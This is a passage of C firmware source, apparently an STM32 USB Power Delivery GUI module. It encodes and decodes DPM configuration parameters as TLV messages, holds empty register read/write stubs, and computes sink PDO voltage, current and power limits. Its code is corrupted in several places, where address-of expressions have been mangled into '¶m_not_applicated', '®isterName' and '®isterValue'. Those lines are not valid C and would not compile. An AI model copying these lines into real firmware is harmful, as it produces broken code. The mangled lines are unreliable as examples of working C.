case GUI_PARAM_DATA_CAPABLE_AS_USB_DEVICE_SOP :
DPM_VDM_Settings[PortNum].VDM_USBDeviceSupport = (USBPD_USBCapa_TypeDef)value[0];
break;
case GUI_PARAM_PRODUCT_TYPE_SOP :
DPM_VDM_Settings[PortNum].VDM_ProductTypeUFPorCP = (USBPD_ProductType_TypeDef)value[0];
break;
case GUI_PARAM_MODAL_OPERATION_SUPPORTED_SOP :
DPM_VDM_Settings[PortNum].VDM_ModalOperation = (USBPD_ModalOp_TypeDef)value[0];
break;
case GUI_PARAM_BCDDEVICE_SOP :
DPM_VDM_Settings[PortNum].VDM_bcdDevice_SOP = USBPD_LE16(&value[0]);
break;
#endif /* _VDM */
case GUI_PARAM_MEASUREREPORTING :
/* MeasurementReporting */
GUI_USER_Params[PortNum].u.MeasurementReporting = value[0];
break;
#if defined(USBPD_REV30_SUPPORT)
#if _MANU_INFO
case GUI_PARAM_MANUINFOPORT_VID :
DPM_USER_Settings[PortNum].DPM_ManuInfoPort.VID = USBPD_LE16(&value[0]);
DPM_USER_Settings[PortNum].DPM_ManuInfoPort.PID = USBPD_LE16(&value[2]);
size -= 4U;
(void)memcpy(DPM_USER_Settings[PortNum].DPM_ManuInfoPort.ManuString, &value[4], size);
break;
#endif /* _MANU_INFO */
#endif /*USBPD_REV30_SUPPORT*/
default :
error = (uint8_t)GUI_REJ_DPM_REJECT;
param_not_applicated[counter_param_not_applicated] = tag;
counter_param_not_applicated++;
break;
}
}
#if !defined(USBPDCORE_LIB_NO_PD)
/* Updtate CAD_SNKToggleTime & CAD_SRCToggleTime only if TDRP and/or DC_SRC_DRP have been received */
if (1U == flag_drp)
{
uint16_t calcul;
if (0U == tdrp)
{
tdrp = (uint8_t)(DPM_Settings[PortNum].CAD_SNKToggleTime + DPM_Settings[PortNum].CAD_SRCToggleTime);
}
if (0U == dcdrp)
{
dcdrp = (uint16_t)
((DPM_Settings[PortNum].CAD_SRCToggleTime * 100U)
/ (DPM_Settings[PortNum].CAD_SNKToggleTime + DPM_Settings[PortNum].CAD_SRCToggleTime));
}
calcul = (tdrp * dcdrp) / 100U;
DPM_Settings[PortNum].CAD_SRCToggleTime = (uint8_t)calcul;
calcul = tdrp * (100U - dcdrp) / 100U;
DPM_Settings[PortNum].CAD_SNKToggleTime = (uint8_t)calcul;
}
#endif /* !USBPDCORE_LIB_NO_PD */
/* Only applies if an error was specified. Will send a DPM_CONFIG_REJ instead of DPM_CONFIG_SET_CNF*/
if (error != 0xFFU)
{
TLV_deinit_encode(&send_tlv);
(void)TLV_init_encode(&send_tlv, __GUI_SET_TAG_ID((PortNum + 1), DPM_CONFIG_REJ), TLV_SIZE_MAX, pEncodedMsg);
(void)TLV_addValue(&send_tlv, &error, 1);
/* If the cause of error is DPM_REJECT, we have to list the tag of parameters which didn't pass */
if (error != 0U)
{
uint32_t index;
for (index = 0; index < counter_param_not_applicated; index++)
{
(void)TLV_addValue(&send_tlv, ¶m_not_applicated[index], 1);
}
}
TLV_deinit_encode(&send_tlv);
}
}
static void Send_DpmConfigGetCnf(uint8_t PortNum, uint8_t *instruction, uint8_t *pEncodedMsg)
{
TLV_ToSend_Data_t send_tlv;
(void)TLV_init_encode(&send_tlv, __GUI_SET_TAG_ID((PortNum + 1), DPM_CONFIG_GET_CNF), TLV_SIZE_MAX, pEncodedMsg);
uint16_t length = TLV_get_string_length(instruction) - TLV_HEADER_SIZE;
uint8_t index = 0;
uint8_t param;
/* This is a state machine. */
do
{
/* If there is no parameters, we go through each case of the state machine in one pass. (conditionnal breaks) */
if (0U == length)
{
param = (uint8_t)GUI_PARAM_ALL;
}
else
{
/* If there are, we loop the state machine and go through one case each time. */
param = instruction[TLV_VALUE_POSITION + index];
}
/*
Each case should simply use the TLV_add function to insert his corresponding data,
as suggested in comment. Manual cast to (uint8_t *) may be required.
*/
switch ((USBPD_GUI_Tag_Param)param)
{
case GUI_PARAM_ALL :
#if !defined(USBPDCORE_LIB_NO_PD)
case GUI_PARAM_SOP :
{
/* SOP & SOP1 & SOP2 */
/* SOP1_Debug & SOP2_Debug not implemented */
uint8_t settings = (uint8_t)DPM_Settings[PortNum].PE_SupportedSOP;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_SOP, 1, &settings);
if (0U != length)
{
break;
}
}
#if defined(USBPD_REV30_SUPPORT)
case GUI_PARAM_FASTROLESWAP :
{
/*FastRoleSwap*/
uint8_t settings = (uint8_t)DPM_Settings[PortNum].PE_PD3_Support.d.PE_FastRoleSwapSupport;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_FASTROLESWAP, 1, &settings);
if (0U != length)
{
break;
}
}
#endif /*USBPD_REV30_SUPPORT*/
#endif /* !USBPDCORE_LIB_NO_PD */
case GUI_PARAM_DATAROLESWAP_TO_UFP :
{
/* DataRoleSwap to UFP */
uint8_t settings = (uint8_t)DPM_USER_Settings[PortNum].PE_DR_Swap_To_UFP;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_DATAROLESWAP_TO_UFP, 1, &settings);
if (0U != length)
{
break;
}
}
case GUI_PARAM_DATAROLESWAP_TO_DFP :
{
/* DataRoleSwap to DFP */
uint8_t settings = (uint8_t)DPM_USER_Settings[PortNum].PE_DR_Swap_To_DFP;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_DATAROLESWAP_TO_DFP, 1, &settings);
if (0U != length)
{
break;
}
}
case GUI_PARAM_DEFAULTPOWERROLE :
{
/*DefaultPowerRole*/
uint8_t settings = (uint8_t)DPM_Settings[PortNum].PE_DefaultRole;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_DEFAULTPOWERROLE, 1, &settings);
if (0U != length)
{
break;
}
}
#if !defined(USBPDCORE_LIB_NO_PD)
case GUI_PARAM_DRP_SUPPORT :
{
/*DRP_Support*/
uint8_t settings = (uint8_t)DPM_Settings[PortNum].PE_RoleSwap;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_DRP_SUPPORT, 1, &settings);
if (0U != length)
{
break;
}
}
case GUI_PARAM_CADROLETOGGLE :
{
/*CADRoleToggle*/
uint8_t settings = (uint8_t)DPM_Settings[PortNum].CAD_RoleToggle;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_CADROLETOGGLE, 1, &settings);
if (0U != length)
{
break;
}
}
case GUI_PARAM_PE_SCAP_HR :
{
/*PE_SCAP_HR*/
uint8_t settings = (uint8_t)DPM_Settings[PortNum].PE_CapscounterSupport;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_PE_SCAP_HR, 1, &settings);
if (0U != length)
{
break;
}
}
#if defined(_VDM)
case GUI_PARAM_VDM_SUPPORT :
{
/* DRP Support */
uint8_t settings = (uint8_t)DPM_Settings[PortNum].PE_VDMSupport;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_VDM_SUPPORT, 1, &settings);
if (0U != length)
{
break;
}
}
#endif /*_VDM*/
case GUI_PARAM_PING_SUPPORT :
{
/* Ping Support */
uint8_t settings = (uint8_t)DPM_Settings[PortNum].PE_PingSupport;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_PING_SUPPORT, 1, &settings);
if (0U != length)
{
break;
}
}
#if defined(USBPD_REV30_SUPPORT)
case GUI_PARAM_PPS_SUPPORT :
{
/* PD3 Support */
uint16_t settings = (uint16_t)DPM_Settings[PortNum].PE_PD3_Support.PD3_Support;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_PPS_SUPPORT, 2, (uint8_t *)&settings);
if (0U != length)
{
break;
}
}
#endif /*USBPD_REV30_SUPPORT*/
#endif /* !USBPDCORE_LIB_NO_PD */
case GUI_PARAM_VCONNSWAP :
{
/*VConnSwap*/
uint8_t settings = (uint8_t)DPM_USER_Settings[PortNum].PE_VconnSwap;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_VCONNSWAP, 1, &settings);
if (0U != length)
{
break;
}
}
#if defined(_SNK) || defined(_DRP)
case GUI_PARAM_SNK_PDO :
{
uint8_t *list_pdo;
uint8_t nb_pdo;
#if USBPD_PORT_COUNT==2
if (USBPD_PORT_0 == PortNum)
#endif /* USBPD_PORT_COUNT==2 */
{
nb_pdo = USBPD_NbPDO[0];
list_pdo = (uint8_t *)PORT0_PDO_ListSNK;
}
#if USBPD_PORT_COUNT==2
else
{
nb_pdo = USBPD_NbPDO[2];
list_pdo = (uint8_t *)PORT1_PDO_ListSNK;
}
#endif /* USBPD_PORT_COUNT==2 */
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_SNK_PDO, ((uint16_t)(nb_pdo) * 4U), list_pdo);
}
if (0U != length)
{
break;
}
#endif /* _SNK || _DRP */
#if defined(_SRC) || defined(_DRP)
case GUI_PARAM_SRC_PDO :
{
uint8_t *list_pdo;
uint8_t nb_pdo;
#if USBPD_PORT_COUNT==2
if (USBPD_PORT_0 == PortNum)
#endif /* USBPD_PORT_COUNT==2 */
{
nb_pdo = USBPD_NbPDO[1];
list_pdo = (uint8_t *)PORT0_PDO_ListSRC;
}
#if USBPD_PORT_COUNT==2
else
{
nb_pdo = USBPD_NbPDO[3];
list_pdo = (uint8_t *)PORT1_PDO_ListSRC;
}
#endif /* USBPD_PORT_COUNT==2 */
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_SRC_PDO, ((uint16_t)(nb_pdo) * 4U), list_pdo);
}
if (0U != length)
{
break;
}
#endif /* _SRC || _DRP */
case GUI_PARAM_TDRP :
{
/* Calculate the current value of tDRP (value between 50ms and 100ms) */
uint8_t value = (uint8_t)DPM_USER_Settings[PortNum].CAD_tDRP;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_TDRP, 1, &value);
}
if (0U != length)
{
break;
}
case GUI_PARAM_DCSRC_DRP :
{
/* Calculate the current value of tDRP (value between 50ms and 100ms) */
uint8_t value = (uint8_t)DPM_USER_Settings[PortNum].CAD_dcSRC_DRP;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_DCSRC_DRP, 1, &value);
}
if (0U != length)
{
break;
}
#if !defined(USBPDCORE_LIB_NO_PD)
case GUI_PARAM_RESPONDS_TO_DISCOV_SOP :
{
uint8_t settings = (uint8_t)DPM_Settings[PortNum].PE_RespondsToDiscovSOP;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_RESPONDS_TO_DISCOV_SOP, 1, &settings);
}
if (0U != length)
{
break;
}
case GUI_PARAM_ATTEMPTS_DISCOV_SOP :
{
uint8_t settings = (uint8_t)DPM_Settings[PortNum].PE_AttemptsDiscovSOP;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_ATTEMPTS_DISCOV_SOP, 1, &settings);
}
if (0U != length)
{
break;
}
#endif /* !USBPDCORE_LIB_NO_PD */
case GUI_PARAM_XID_SOP :
{
uint32_t value = DPM_ID_Settings[PortNum].XID;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_XID_SOP, 4, (uint8_t *)&value);
}
if (0U != length)
{
break;
}
case GUI_PARAM_USB_VID_SOP :
{
uint16_t value = (uint16_t)DPM_ID_Settings[PortNum].VID;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_USB_VID_SOP, 2, (uint8_t *)&value);
}
if (0U != length)
{
break;
}
case GUI_PARAM_PID_SOP :
{
uint16_t value = (uint16_t)DPM_ID_Settings[PortNum].PID;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_PID_SOP, 2, (uint8_t *)&value);
}
if (0U != length)
{
break;
}
#if defined(_VDM)
case GUI_PARAM_DATA_CAPABLE_AS_USB_HOST_SOP :
{
uint8_t settings = (uint8_t)DPM_VDM_Settings[PortNum].VDM_USBHostSupport;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_DATA_CAPABLE_AS_USB_HOST_SOP, 1, &settings);
}
if (0U != length)
{
break;
}
case GUI_PARAM_DATA_CAPABLE_AS_USB_DEVICE_SOP :
{
uint8_t settings = (uint8_t)DPM_VDM_Settings[PortNum].VDM_USBDeviceSupport;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_DATA_CAPABLE_AS_USB_DEVICE_SOP, 1, &settings);
}
if (0U != length)
{
break;
}
case GUI_PARAM_PRODUCT_TYPE_SOP :
{
uint8_t settings = (uint8_t)DPM_VDM_Settings[PortNum].VDM_ProductTypeUFPorCP;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_PRODUCT_TYPE_SOP, 1, &settings);
}
if (0U != length)
{
break;
}
case GUI_PARAM_MODAL_OPERATION_SUPPORTED_SOP :
{
uint8_t settings = (uint8_t)DPM_VDM_Settings[PortNum].VDM_ModalOperation;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_MODAL_OPERATION_SUPPORTED_SOP, 1, &settings);
}
if (0U != length)
{
break;
}
case GUI_PARAM_BCDDEVICE_SOP :
{
uint16_t value = (uint16_t)DPM_VDM_Settings[PortNum].VDM_bcdDevice_SOP;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_BCDDEVICE_SOP, 2, (uint8_t *)&value);
}
if (0U != length)
{
break;
}
#endif /* _VDM */
case GUI_PARAM_MEASUREREPORTING :
{
uint8_t settings = (uint8_t)GUI_USER_Params[PortNum].u.MeasurementReporting;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_MEASUREREPORTING, 1, &settings);
}
if (0U != length)
{
break;
}
#if defined(USBPD_REV30_SUPPORT)
#if _MANU_INFO
case GUI_PARAM_MANUINFOPORT_VID :
{
uint8_t size = (uint8_t)sizeof(DPM_USER_Settings[PortNum].DPM_ManuInfoPort.ManuString) + 4U;
(void)TLV_add(&send_tlv, (uint8_t)GUI_PARAM_MANUINFOPORT_VID, size,
(uint8_t *)&DPM_USER_Settings[PortNum].DPM_ManuInfoPort);
}
if (0U != length)
{
break;
}
#endif /* _MANU_INFO */
#endif /*USBPD_REV30_SUPPORT*/
default:
if (0U != length)
{
/* At least 1 parameter does not exist */
TLV_deinit_encode(&send_tlv);
Send_DpmConfigGetRej(PortNum, pEncodedMsg, GUI_REJ_DPM_INVALID_MESSAGE);
goto __end;
}
break;
}
index++;
/*
Loop until we haven't processed each specified parameter.
If there weren't any (length = 0), we exit the loop after one execution.
*/
} while (index < length);
__end:
TLV_deinit_encode(&send_tlv);
}
static void Send_DpmConfigGetRej(uint8_t PortNum, uint8_t *pEncodedMsg, USBPD_GUI_Reject_Reason RejectReason)
{
UNUSED(PortNum);
TLV_ToSend_Data_t send_tlv;
(void)TLV_init_encode(&send_tlv, (uint8_t)DPM_CONFIG_REJ, TLV_SIZE_MAX, pEncodedMsg);
(void)TLV_add(&send_tlv, (uint8_t)RejectReason, 0, NULL);
TLV_deinit_encode(&send_tlv);
}
static void Send_DpmMessageRej(uint8_t PortNum, uint8_t *pEncodedMsg, USBPD_GUI_Reject_Reason RejectReason)
{
UNUSED(PortNum);
TLV_ToSend_Data_t send_tlv;
(void)TLV_init_encode(&send_tlv, (uint8_t)DPM_MESSAGE_REJ, TLV_SIZE_MAX, pEncodedMsg);
(void)TLV_add(&send_tlv, (uint8_t)RejectReason, 0, NULL);
TLV_deinit_encode(&send_tlv);
}
static void Send_DpmRegisterReadCnf(uint8_t PortNum, uint8_t *pEncodedMsg, uint8_t param)
{
TLV_ToSend_Data_t ToSendTLV;
(void)TLV_init_encode(&ToSendTLV, __GUI_SET_TAG_ID((PortNum + 1), DPM_REGISTER_READ_CNF), TLV_SIZE_MAX, pEncodedMsg);
uint8_t stateMachineArray[GUI_REG_NUMBER_OF_REGISTERS] =
{
(uint8_t)GUI_REG_VENDOR_ID, (uint8_t)GUI_REG_PRODUCT_ID, (uint8_t)GUI_REG_DEVICE_ID,
(uint8_t)GUI_REG_USBTYPEC_REV, (uint8_t)GUI_REG_USBPD_REV_VER, (uint8_t)GUI_REG_USBPD_INTERFACE_REV,
(uint8_t)GUI_REG_ALERT, (uint8_t)GUI_REG_ALERT_MASK, (uint8_t)GUI_REG_POWER_STATUS_MASK,
(uint8_t)GUI_REG_FAULT_STATUS_MASK, (uint8_t)GUI_REG_CONFIG_STANDARD_OUTPUT, (uint8_t)GUI_REG_TCPC_CONTROL,
(uint8_t)GUI_REG_ROLE_CONTROL, (uint8_t)GUI_REG_FAULT_CONTROL, (uint8_t)GUI_REG_POWER_CONTROL,
(uint8_t)GUI_REG_CC_STATUS, (uint8_t)GUI_REG_POWER_STATUS, (uint8_t)GUI_REG_FAULT_STATUS,
(uint8_t)GUI_REG_COMMAND, (uint8_t)GUI_REG_DECIVE_CAP1, (uint8_t)GUI_REG_DECIVE_CAP2,
(uint8_t)GUI_REG_STD_INPUT_CAP, (uint8_t)GUI_REG_STD_OUTPUT_CAP, (uint8_t)GUI_REG_MSG_HEADER_INFO,
(uint8_t)GUI_REG_RX_DETECT, (uint8_t)GUI_REG_RX_BYTE_COUNT, (uint8_t)GUI_REG_RX_BUFFER_FRAME_TYPE,
(uint8_t)GUI_REG_RX_HEADER, (uint8_t)GUI_REG_RX_DATA, (uint8_t)GUI_REG_TRANSMIT, (uint8_t)GUI_REG_TX_BYTE_COUNT,
(uint8_t)GUI_REG_TX_HEADER, (uint8_t)GUI_REG_TX_DATA, (uint8_t)GUI_REG_VBUS_VOLTAGE,
(uint8_t)GUI_REG_VBUS_SINK_DISCONNECT_THRESHOLD, (uint8_t)GUI_REG_VBUS_STOP_DISCHARGE_THRESHOLD,
(uint8_t)GUI_REG_VBUS_VOLTAGE_ALARM_HI_CFG, (uint8_t)GUI_REG_VBUS_VOLTAGE_ALARM_LO_CFG,
(uint8_t)GUI_REG_VENDOR_DATA
};
uint8_t counter = 0;
/* If param is not at 0xFF, then it means we only want one parameter.
We then have to get out of the state machine after the first state */
if (param != 0xFFU)
{
*stateMachineArray = param;
}
do
{
switch (stateMachineArray[counter])
/*
In each case, the register needs to be read. Inclusion in the TLV which
is going to be sent has to be done with TLV_add().
*/
{
case GUI_REG_VENDOR_ID :
break;
case GUI_REG_PRODUCT_ID :
break;
case GUI_REG_DEVICE_ID :
break;
case GUI_REG_USBTYPEC_REV :
break;
case GUI_REG_USBPD_REV_VER :
break;
case GUI_REG_USBPD_INTERFACE_REV :
break;
case GUI_REG_ALERT :
break;
case GUI_REG_ALERT_MASK :
break;
case GUI_REG_POWER_STATUS_MASK :
break;
case GUI_REG_FAULT_STATUS_MASK :
break;
case GUI_REG_CONFIG_STANDARD_OUTPUT :
break;
case GUI_REG_TCPC_CONTROL :
break;
case GUI_REG_ROLE_CONTROL :
break;
case GUI_REG_FAULT_CONTROL :
break;
case GUI_REG_POWER_CONTROL :
break;
case GUI_REG_CC_STATUS :
break;
case GUI_REG_POWER_STATUS :
break;
case GUI_REG_FAULT_STATUS :
break;
case GUI_REG_COMMAND :
break;
case GUI_REG_DECIVE_CAP1 :
break;
case GUI_REG_DECIVE_CAP2 :
break;
case GUI_REG_STD_INPUT_CAP :
break;
case GUI_REG_STD_OUTPUT_CAP :
break;
case GUI_REG_MSG_HEADER_INFO :
break;
case GUI_REG_RX_DETECT :
break;
case GUI_REG_RX_BYTE_COUNT :
break;
case GUI_REG_RX_BUFFER_FRAME_TYPE :
break;
case GUI_REG_RX_HEADER :
break;
case GUI_REG_RX_DATA :
break;
case GUI_REG_TRANSMIT :
break;
case GUI_REG_TX_BYTE_COUNT :
break;
case GUI_REG_TX_HEADER :
break;
case GUI_REG_TX_DATA :
break;
case GUI_REG_VBUS_VOLTAGE :
break;
case GUI_REG_VBUS_SINK_DISCONNECT_THRESHOLD :
break;
case GUI_REG_VBUS_STOP_DISCHARGE_THRESHOLD :
break;
case GUI_REG_VBUS_VOLTAGE_ALARM_HI_CFG :
break;
case GUI_REG_VBUS_VOLTAGE_ALARM_LO_CFG :
break;
case GUI_REG_VENDOR_DATA :
break;
default :
break;
}
counter++;
} while ((counter < GUI_REG_NUMBER_OF_REGISTERS) && (param != 0xFFU));
TLV_deinit_encode(&ToSendTLV);
}
static void Send_DpmRegisterWriteCnf(uint8_t PortNum, uint8_t *pEncodedMsg, uint8_t *toProcess)
{
TLV_Received_Data_t ToProcessTLV;
(void)TLV_init_decode(&ToProcessTLV, toProcess);
uint8_t registerName;
uint16_t registerSize;
uint8_t *registerValue;
(void)TLV_get(&ToProcessTLV, ®isterName, ®isterSize, ®isterValue);
switch (registerName)
/*
Each case should write the data pointed by registerValue in the appropriate register,
while taking into account the size of the data with registerSize.
*/
{
case GUI_REG_VENDOR_ID :
break;
case GUI_REG_PRODUCT_ID :
break;
case GUI_REG_DEVICE_ID :
break;
case GUI_REG_USBTYPEC_REV :
break;
case GUI_REG_USBPD_REV_VER :
break;
case GUI_REG_USBPD_INTERFACE_REV :
break;
case GUI_REG_ALERT :
break;
case GUI_REG_ALERT_MASK :
break;
case GUI_REG_POWER_STATUS_MASK :
break;
case GUI_REG_FAULT_STATUS_MASK :
break;
case GUI_REG_CONFIG_STANDARD_OUTPUT :
break;
case GUI_REG_TCPC_CONTROL :
break;
case GUI_REG_ROLE_CONTROL :
break;
case GUI_REG_FAULT_CONTROL :
break;
case GUI_REG_POWER_CONTROL :
break;
case GUI_REG_CC_STATUS :
break;
case GUI_REG_POWER_STATUS :
break;
case GUI_REG_FAULT_STATUS :
break;
case GUI_REG_COMMAND :
break;
case GUI_REG_DECIVE_CAP1 :
break;
case GUI_REG_DECIVE_CAP2 :
break;
case GUI_REG_STD_INPUT_CAP :
break;
case GUI_REG_STD_OUTPUT_CAP :
break;
case GUI_REG_MSG_HEADER_INFO :
break;
case GUI_REG_RX_DETECT :
break;
case GUI_REG_RX_BYTE_COUNT :
break;
case GUI_REG_RX_BUFFER_FRAME_TYPE :
break;
case GUI_REG_RX_HEADER :
break;
case GUI_REG_RX_DATA :
break;
case GUI_REG_TRANSMIT :
break;
case GUI_REG_TX_BYTE_COUNT :
break;
case GUI_REG_TX_HEADER :
break;
case GUI_REG_TX_DATA :
break;
case GUI_REG_VBUS_VOLTAGE :
break;
case GUI_REG_VBUS_SINK_DISCONNECT_THRESHOLD :
break;
case GUI_REG_VBUS_STOP_DISCHARGE_THRESHOLD :
break;
case GUI_REG_VBUS_VOLTAGE_ALARM_HI_CFG :
break;
case GUI_REG_VBUS_VOLTAGE_ALARM_LO_CFG :
break;
case GUI_REG_VENDOR_DATA :
break;
default :
break;
}
TLV_deinit_decode(&ToProcessTLV);
TLV_ToSend_Data_t ToSendTLV;
/* Generation of the empty response, as it should be done*/
(void)TLV_init_encode(&ToSendTLV, __GUI_SET_TAG_ID((PortNum + 1), DPM_REGISTER_WRITE_CNF), 12, pEncodedMsg);
TLV_deinit_encode(&ToSendTLV);
}
/**
* @brief Manage Free text sent by the GUI
* @param PortNum The current port number
* @param pPayload Pointer of the text to manage
* @param Size Size of the text
* @retval USBPD Status
*/
static USBPD_StatusTypeDef Manage_FreeText(uint8_t PortNum, uint8_t *pPayload, uint16_t Size)
{
USBPD_StatusTypeDef _status = USBPD_FAIL;
if (NULL != pCB_FreeText)
{
pCB_FreeText(PortNum, pPayload, Size);
_status = USBPD_OK;
}
return _status;
}
#if defined(_SNK) || defined(_DRP)
/**
* @brief Function to update SNK PDO and power user settings on Port0
* @retval None
*/
static void UpdateSNKPowerPort0(void)
{
USBPD_PDO_TypeDef pdo;
uint32_t _max_power = 0;
uint16_t _voltage;
uint16_t _current;
uint16_t _power;
uint16_t _min_voltage = 0xFFFF;
uint16_t _max_voltage = 0;
uint16_t _max_current = 0;
for (uint32_t _index = 0; _index < USBPD_NbPDO[0]; _index++)
{
pdo.d32 = PORT0_PDO_ListSNK[_index];
switch (pdo.GenericPDO.PowerObject)
{
case USBPD_CORE_PDO_TYPE_FIXED: /*!< Fixed Supply PDO */
_voltage = GUI_DECODE_50MV(pdo.SNKFixedPDO.VoltageIn50mVunits);
GUI_UPDATE_VOLTAGE_MIN(_voltage, _min_voltage);
GUI_UPDATE_VOLTAGE_MAX(_voltage, _max_voltage);
_current = GUI_DECODE_10MA(pdo.SNKFixedPDO.OperationalCurrentIn10mAunits);
GUI_UPDATE_CURRENT_MAX(_current, _max_current);
break;
case USBPD_CORE_PDO_TYPE_BATTERY: /*!< Battery Supply PDO */
_voltage = GUI_DECODE_50MV(pdo.SNKBatteryPDO.MinVoltageIn50mVunits);
GUI_UPDATE_VOLTAGE_MIN(_voltage, _min_voltage);
_voltage = GUI_DECODE_50MV(pdo.SNKBatteryPDO.MaxVoltageIn50mVunits);
GUI_UPDATE_VOLTAGE_MAX(_voltage, _max_voltage);
_power = GUI_DECODE_MW(pdo.SNKBatteryPDO.OperationalPowerIn250mWunits);
GUI_UPDATE_POWER_MAX(_power, _max_power);
break;
case USBPD_CORE_PDO_TYPE_VARIABLE: /*!< Variable Supply (non-battery) PDO */
_voltage = GUI_DECODE_50MV(pdo.SNKVariablePDO.MinVoltageIn50mVunits);
GUI_UPDATE_VOLTAGE_MIN(_voltage, _min_voltage);
_voltage = GUI_DECODE_50MV(pdo.SNKVariablePDO.MaxVoltageIn50mVunits);
GUI_UPDATE_VOLTAGE_MAX(_voltage, _max_voltage);
_current = GUI_DECODE_10MA(pdo.SNKVariablePDO.OperationalCurrentIn10mAunits);
GUI_UPDATE_CURRENT_MAX(_current, _max_current);
break;
#if _PPS
case USBPD_CORE_PDO_TYPE_APDO: /*!< Augmented Power Data Object (APDO) */
_voltage = GUI_DECODE_100MV(pdo.SRCSNKAPDO.MinVoltageIn100mV);
GUI_UPDATE_VOLTAGE_MIN(_voltage, _min_voltage);
_voltage = GUI_DECODE_100MV(pdo.SRCSNKAPDO.MaxVoltageIn100mV);
GUI_UPDATE_VOLTAGE_MAX(_voltage, _max_voltage);
_current = GUI_DECODE_50MA(pdo.SRCSNKAPDO.MaxCurrentIn50mAunits);
GUI_UPDATE_CURRENT_MAX(_current, _max_current);
break;
#endif /*_USBPD_REV30_SUPPORT && PPS*/
default:
break;
}
}
GUI_CHECK_VOLTAGE_MIN(_min_voltage,
DPM_USER_Settings[USBPD_PORT_0].DPM_SNKRequestedPower.MinOperatingVoltageInmVunits);
GUI_CHECK_VOLTAGE_MAX(_max_voltage,
DPM_USER_Settings[USBPD_PORT_0].DPM_SNKRequestedPower.MaxOperatingVoltageInmVunits);
GUI_CHECK_CURRENT_MAX(_max_current,
DPM_USER_Settings[USBPD_PORT_0].DPM_SNKRequestedPower.MaxOperatingCurrentInmAunits);
_max_power = ((uint32_t)(_max_voltage) * (uint32_t)(_max_current)) / 1000U;
GUI_CHECK_POWER_MAX(_max_power, DPM_USER_Settings[USBPD_PORT_0].DPM_SNKRequestedPower.MaxOperatingPowerInmWunits);
}
#if USBPD_PORT_COUNT==2
/**
* @brief Function to update SNK PDO and power user settings on Port1
* @retval None
*/
static void UpdateSNKPowerPort1(void)
{
USBPD_PDO_TypeDef pdo;
uint32_t _max_power = 0;
uint16_t _voltage = 0;
uint16_t _current = 0;
uint16_t _power = 0;
uint16_t _min_voltage = 0xFFFF;
uint16_t _max_voltage = 0;
uint16_t _max_current = 0;
for (uint32_t _index = 0; _index < USBPD_NbPDO[2]; _index++)
{
pdo.d32 = PORT1_PDO_ListSNK[_index];
switch (pdo.GenericPDO.PowerObject)
{
case USBPD_CORE_PDO_TYPE_FIXED: /*!< Fixed Supply PDO */
_voltage = GUI_DECODE_50MV(pdo.SNKFixedPDO.VoltageIn50mVunits);
GUI_UPDATE_VOLTAGE_MIN(_voltage, _min_voltage);
GUI_UPDATE_VOLTAGE_MAX(_voltage, _max_voltage);
_current = GUI_DECODE_10MA(pdo.SNKFixedPDO.OperationalCurrentIn10mAunits);
GUI_UPDATE_CURRENT_MAX(_current, _max_current);
break;
case USBPD_CORE_PDO_TYPE_BATTERY: /*!< Battery Supply PDO */
_voltage = GUI_DECODE_50MV(pdo.SNKBatteryPDO.MinVoltageIn50mVunits);
GUI_UPDATE_VOLTAGE_MIN(_voltage, _min_voltage);
_voltage = GUI_DECODE_50MV(pdo.SNKBatteryPDO.MaxVoltageIn50mVunits);
GUI_UPDATE_VOLTAGE_MAX(_voltage, _max_voltage);
_power = GUI_DECODE_MW(pdo.SNKBatteryPDO.OperationalPowerIn250mWunits);
GUI_UPDATE_POWER_MAX(_power, _max_power);
break;
case USBPD_CORE_PDO_TYPE_VARIABLE: /*!< Variable Supply (non-battery) PDO */
_voltage = GUI_DECODE_50MV(pdo.SNKVariablePDO.MinVoltageIn50mVunits);
GUI_UPDATE_VOLTAGE_MIN(_voltage, _min_voltage);
_voltage = GUI_DECODE_50MV(pdo.SNKVariablePDO.MaxVoltageIn50mVunits);
GUI_UPDATE_VOLTAGE_MAX(_voltage, _max_voltage);
_current = GUI_DECODE_10MA(pdo.SNKVariablePDO.OperationalCurrentIn10mAunits);
GUI_UPDATE_CURRENT_MAX(_current, _max_current);
break;
#if _PPS
case USBPD_CORE_PDO_TYPE_APDO: /*!< Augmented Power Data Object (APDO) */
_voltage = GUI_DECODE_100MV(pdo.SRCSNKAPDO.MinVoltageIn100mV);
GUI_UPDATE_VOLTAGE_MIN(_voltage, _min_voltage);
_voltage = GUI_DECODE_100MV(pdo.SRCSNKAPDO.MaxVoltageIn100mV);
GUI_UPDATE_VOLTAGE_MAX(_voltage, _max_voltage);
_current = GUI_DECODE_50MA(pdo.SRCSNKAPDO.MaxCurrentIn50mAunits);
GUI_UPDATE_CURRENT_MAX(_current, _max_current);
break;
#endif /*_USBPD_REV30_SUPPORT && PPS*/
default:
break;
}
}
GUI_CHECK_VOLTAGE_MIN(_min_voltage,
DPM_USER_Settings[USBPD_PORT_1].DPM_SNKRequestedPower.MinOperatingVoltageInmVunits);
GUI_CHECK_VOLTAGE_MAX(_max_voltage,
